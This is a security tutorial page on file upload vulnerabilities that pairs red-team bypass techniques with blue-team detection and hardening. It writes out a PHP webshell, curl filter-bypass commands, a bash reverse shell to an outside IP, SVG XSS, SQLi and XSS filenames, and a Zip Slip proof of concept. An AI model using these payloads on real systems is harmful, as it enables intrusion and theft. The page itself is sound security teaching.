File upload
An insecure file upload lets the attacker place content on the server that it executes, serves or processes dangerously. The classic case is uploading a webshell and getting RCE, but it isn’t the only one: an upload can also give you stored XSS, file overwrite, file reads through the library that processes the image, or SSRF when a document is rendered. The invariant being broken is “what the user uploads is inert data, not something the server will interpret”.
flowchart LR
A[Attacker] -->|"1. uploads shell.phtml<br/>(fake Content-Type and signature)"| V["Validation<br/>(extension, type, signature)"]
V -->|"2. passes the filter"| S[(Storage)]
S -->|"3a. in the docroot with an interpreter"| R["GET /uploads/shell.phtml?c=id<br/>RCE"]
S -->|"3b. no interpreter"| N["Needs another piece:<br/>traversal, LFI, leaked path"]
S -->|"3c. gets processed"| P["ImageMagick, ZIP, PDF<br/>file read, SSRF, Zip Slip"]
Threat model
Section titled “Threat model”Severity depends on three questions, in this order:
- Where is it stored? Inside the docroot, outside it, in a bucket or on another domain.
- How is it served? Executed by an interpreter (PHP, ASP.NET, JSP), served inline with
its MIME type, or forced as a download (
Content-Disposition: attachment). - Who processes it? Image resizing, decompression, PDF conversion, antivirus, metadata extraction. Every library is attack surface.
The three answers tell you what to look for: RCE if it executes, XSS if it’s served inline on the application’s origin, and attacks on the processing step if something touches it later.
Anatomy
Section titled “Anatomy”The server can check four things, and almost all of them are controlled by the client:
| Check | What it looks at | Who controls it | Typical bypass |
|---|---|---|---|
| Extension (denylist) | That it isn’t php, asp, jsp… |
You (the filename) |
Forgotten extensions: .phtml, .php5, .pht, .phar, .phps, .inc; mixed case .pHp; double extension shell.php.png; on Windows, a trailing dot (shell.php.) or shell.php::$DATA |
| Extension (allowlist) | That it’s jpg, png, pdf… |
You | Harder: double extension if the server executes based on any extension in the name, .htaccess, chaining with LFI |
| Content-Type | The MIME header of the multipart part | You (the client sets it) | Change it to image/png in Burp or with curl -F "file=@x;type=image/png" |
| Magic bytes | The first bytes of the content | You | Prepend the format signature: GIF89a; before the code |
| Size and name | Size, length, characters | You | The path is rarely sanitised: ../ in the filename |
Signatures of the most common formats:
| Format | Magic bytes (hex) | As ASCII |
|---|---|---|
| JPEG | FF D8 FF |
— |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
.PNG.... |
| GIF | 47 49 46 38 39 61 / …37 61 |
GIF89a / GIF87a |
25 50 44 46 2D |
%PDF- |
|
| ZIP (and DOCX, XLSX, JAR, APK) | 50 4B 03 04 |
PK.. |
Checks are combined. You’ll usually find two or three at once (denylist + Content-Type + signature). Each one is bypassed separately; the trick is knowing which one is stopping you.
Variants
Section titled “Variants”| Variant | What you get | Condition |
|---|---|---|
| Webshell | RCE | The file lands where an interpreter runs it |
Config file (.htaccess, web.config) |
An invented extension gets executed | Apache with an AllowOverride that permits it; IIS processing web.config in that directory |
| Path traversal in the name | Write outside the upload directory, overwrite files | The server builds the path from the client’s filename |
| Stored XSS | Run JS on the application’s origin | SVG, HTML or XML served inline on the same origin |
| Injection in the filename | SQLi or XSS through the filename |
The name is stored in a DB or rendered unsanitised |
| Attacks on processing | File read, SSRF, RCE in the library | ImageMagick, ExifTool, PDF converters, decompression |
| Archives | Arbitrary write (Zip Slip), read via symlink, DoS (zip bomb) | The server extracts what you upload |
| Race condition | Run the file before it’s validated or deleted | It saves first and validates later |
Red Team
Section titled “Red Team”Method: one change at a time
Section titled “Method: one change at a time”Before trying bypasses, upload a legitimate file and note what the application returns: the final path? does it rename the file? keep the extension? which type does it serve it with? Then send the upload request to Burp Repeater and change a single variable per attempt:
- Only the extension (
.php→.phtml→.pHp→.php.png). - Only the part’s
Content-Type(application/x-php→image/png). - Only the first bytes of the content (add
GIF89a;). - Only the
filename(traversal, special characters).
If the response changes, you know which filter was acting. Blindly trying combinations in Intruder tells you something worked, but not why.
POST /upload HTTP/1.1Host: app.lab.localContent-Type: multipart/form-data; boundary=----x
------xContent-Disposition: form-data; name="file"; filename="shell.phtml"Content-Type: image/gif
GIF89a;<?php system($_GET["c"]); ?>------x--Bypasses with curl (lab)
Section titled “Bypasses with curl (lab)”# Minimal webshellecho '<?php system($_GET["c"]); ?>' > shell.php
# Fake Content-Type: curl lets you set the type of each partcurl -F "file=@shell.php;type=image/png" http://app.lab.local/upload
# Extensions a denylist tends to forgetfor ext in phtml pht php5 php7 phar pHp; do cp shell.php "shell.$ext"; done
# GIF signature in front of the code (gets past a naive magic-bytes check)printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > shell.gif.phtml
# Traversal in the filename: curl lets you set it with filename=curl -F "file=@shell.phtml;filename=../shell.phtml;type=image/gif" http://app.lab.local/upload
# Confirm execution with a harmless commandcurl "http://app.lab.local/uploads/shell.gif.phtml?c=id"If the upload directory allows .htaccess (Apache with AllowOverride FileInfo or All), you
can make an invented extension run as PHP:
# .htaccess uploaded to the uploads directoryAddType application/x-httpd-php .evilThen you upload shell.evil. Since Apache 2.3.9 the default is AllowOverride None, so this
depends on the site’s configuration. Also, AddType application/x-httpd-php only works with
mod_php; with PHP-FPM, the usual setup today, you’d need a SetHandler pointing to the
FastCGI proxy. On IIS, the equivalent is uploading a web.config that
enables a handler for an extension, or the web.config itself carrying ASP code in some
configurations; the extensions to try are .aspx, .asp, .ashx, .asmx and .config.
Finding the file
Section titled “Finding the file”A file you can’t find is useless. In order:
- The response to the upload, or the HTML of the page where it’s displayed (
srcattribute, download link). - Typical paths:
/uploads/,/upload/,/files/,/images/,/media/,/static/uploads/, sometimes with subfolders per date or per user ID. - Fuzzing the directory with ffuf if there are no hints.
- Absolute path taken from an error trace or from
phpinfo()(DOCUMENT_ROOT): it tells you where the docroot is and, with traversal in the name, where to write.
If the server renames the file to a random value, check whether it returns it in the response or whether the name is predictable (timestamp, content hash).
From webshell to reverse shell
Section titled “From webshell to reverse shell”# Listener on your machine (443 usually gets through egress filters)sudo nc -lvnp 443
# Launch the reverse shell from the webshell: wrap in bash -c and URL-encodecurl -G "http://app.lab.local/uploads/shell.phtml" \ --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"The most common mistake is not encoding the payload: an unencoded & cuts the parameter and
spaces break the URL. --data-urlencode handles it. If you type it by hand in the browser,
& → %26 and space → + or %20. TTY stabilisation and per-language alternatives are in
reverse shells, and the context you land in is covered in
from web vulnerability to shell.
Attacks without RCE
Section titled “Attacks without RCE”When execution isn’t possible, the upload is still attack surface:
Stored XSS. An SVG, HTML or XML file served inline on the same origin as the
application runs JavaScript with access to its DOM and to cookies without HttpOnly:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>Check two things before reporting it: that the file isn’t served with
Content-Disposition: attachment (which forces a download and isn’t rendered), and which origin
it’s served from. The origin is scheme + domain + port: if files live on
cdn.otherdomain.com or in a bucket, the script runs, but without the application’s context.
Payload details in XSS.
Injection in the filename. If the name is stored in a database or rendered on the page
unsanitised, the filename is just another parameter:
photo'+(SELECT sleep(5))+'.jpg ← SQLi if concatenated into the query"><img src=x onerror=alert(1)>.jpg ← XSS if rendered without encodingFile reads through processing. CVE-2022-44268 in ImageMagick: a PNG with a profile text
chunk pointing to a path (for example /etc/passwd) makes ImageMagick embed the contents of
that file in the output image when it resizes it. You download the processed image and read the
file in hex. It affects ImageMagick 7.1.0 before 7.1.0-52 and the 6 branch before 6.9.12-76; the general pattern is that
any library processing what you upload may have its own bug.
SSRF and XXE on rendering. SVG (librsvg, ImageMagick), HTML converted to PDF (wkhtmltopdf,
headless Chrome), Office documents (XML with external DTDs) and Markdown with remote images all
make requests when loading resources. An <image href="http://169.254.169.254/..."> in an SVG or
an <iframe src="file:///etc/passwd"> in HTML converted to PDF can end in SSRF
or a local file read. For XML formats, see XXE.
Archives. If the application extracts what you upload:
- Zip Slip: an entry named
../../var/www/html/shell.phpis written outside the extraction directory if the library doesn’t normalise the path. - Symlink: a ZIP or TAR containing a symbolic link to
/etc/passwd; if the application then serves the extracted content, you read the file. - Zip bomb: a few KB that expand to GB. It’s DoS: don’t test it outside a lab.
# Build a ZIP with a traversal path (lab)python3 - <<'EOF'import zipfilewith zipfile.ZipFile("slip.zip", "w") as z: z.writestr("../../tmp/zipslip-poc.txt", "poc")EOFunzip -l slip.zipRace condition. Some applications save the file in the public directory, validate it and delete it if it fails. Between the write and the delete there’s a window: if you request the file many times in parallel while uploading it, it may execute. See race conditions.
Researcher workflow
Section titled “Researcher workflow”- Upload a legitimate file and note the path, final name, served type and origin.
- Identify the filters with the one-change-at-a-time method.
- If it executes: webshell →
id→ reverse shell. - If it’s accepted but not executed: look for the absolute path and try traversal,
.htaccessor an LFI that includes it. - If it’s served inline: SVG/HTML for XSS, checking the origin.
- If it’s processed: identify the library (headers, metadata of the returned file) and try its known bugs.
- Burp Suite (page): Repeater for the one-change-at-a-time method; the Upload Scanner extension automates many variants.
- curl with
-F "file=@x;type=...;filename=..."to control every field of the multipart. - exiftool for metadata polyglots.
- ffuf to find the upload directory.
- PayloadsAllTheThings, Upload Insecure Files section, as a catalogue of extensions and config files.
Impact and chaining
Section titled “Impact and chaining”- RCE as the web server user → enumeration and local privilege escalation.
- Stored XSS on the application’s origin → session theft or actions on behalf of others.
- Overwrite (traversal, Zip Slip) → change configuration or application files.
- Upload accepted but not executable + LFI → inclusion and RCE.
- Vulnerable processing → file reads or SSRF into the internal network.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Files with executable extensions, double extensions or names containing
../in the upload directories. - The web server process spawning a shell (
sh,bash,cmd.exe,powershell.exe): a strong EDR signal. - Requests with command parameters (
?c=,?cmd=) to uploaded-content paths. - Outbound requests from the service that processes images or generates PDFs.
Telemetry and sources
Section titled “Telemetry and sources”Application logs (original name, stored name, user), web server access logs, FIM on the upload directories, EDR on the server, egress logs from the processing services.
Hardening
Section titled “Hardening”- Allowlist of extensions, checked together with the real content type (not the client’s
Content-Type). - Server-generated name (random) and an extension derived from the detected type, never
from the received
filename. - Store outside the docroot or in storage with no interpreter, and serve from a separate
domain with
Content-Disposition: attachmentwhen it doesn’t need to be displayed. - No execution in the upload directory (no PHP handler:
php_admin_flag engine offwith mod_php, noSetHandlerto FPM; no handlers in IIS) andAllowOverride None. - Re-encode images (removes metadata and polyglots), with an up-to-date library and in an isolated process with no network access.
- Safe extraction: normalise every path and reject those that leave the directory; ignore symbolic links; limit total size and number of entries.
- Validate before writing to an accessible path, to close the race window.
X-Content-Type-Options: nosniffso the browser doesn’t reinterpret the type (see headers).
Response
Section titled “Response”Remove the file, hunt for other webshells (by modification date and by content), review what the web server user ran, rotate any credentials within its reach, and fix validation, storage and execution.
CVEs and real cases
Section titled “CVEs and real cases”- CVE-2018-9206 (blueimp jQuery File Upload, 2018): the component relied on an
.htaccessto prevent execution; with Apache 2.3.9+ (AllowOverride Noneby default) that file was ignored and anyone could upload and run PHP. It affected thousands of projects bundling the library. - CVE-2021-22205 (GitLab, 2021): GitLab passed uploaded images to ExifTool, which had a bug parsing DjVu files (CVE-2021-22204). Result: unauthenticated RCE by uploading an image. CVSS 10.0.
- CVE-2022-44268 (ImageMagick, 2022): arbitrary file read when processing a crafted PNG, as described above.
- CVE-2023-50164 (Apache Struts, 2023): by playing with upper and lower case in the upload parameter names you could overwrite the filename and get path traversal; depending on the configuration, this allowed dropping an executable file in a served path and reaching RCE. Affects Struts 2.0.0–2.5.32 and 6.0.0–6.3.0.1.
- CVE-2016-3714 (ImageMagick, “ImageTragick”, 2016): RCE through shell metacharacters in
files using certain coders (MVG, MSL, HTTPS…); it affected applications processing untrusted
images with versions before 6.9.3-10 or 7.0.1-1 and without a restrictive
policy.xml. - Zip Slip (2018): research that found the same missing path normalisation during extraction in dozens of libraries across several languages.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Legitimate upload analysed: path, final name, served type and origin.
- Filters identified one by one (extension, Content-Type, signature, name).
- Execution confirmed with a harmless command, if applicable.
- If it doesn’t execute: absolute path searched for, traversal and
.htaccess/web.configtried. - XSS with SVG/HTML tried, checking
Content-Dispositionand origin. -
filenametried as an SQLi/XSS vector. - Processing identified (images, PDF, extraction) and its known bugs tried.
- Impact demonstrated without damaging the system or leaving webshells behind.
References
Section titled “References”- OWASP: File Upload Cheat Sheet
- PortSwigger: File upload vulnerabilities
- OWASP WSTG: Test Upload of Malicious Files
- CWE-434: Unrestricted Upload of File with Dangerous Type
- Snyk: Zip Slip Vulnerability
- NVD: CVE-2022-44268 · CVE-2021-22205 · CVE-2018-9206 · CVE-2023-50164
- Apache: AllowOverride
- PayloadsAllTheThings: Upload Insecure Files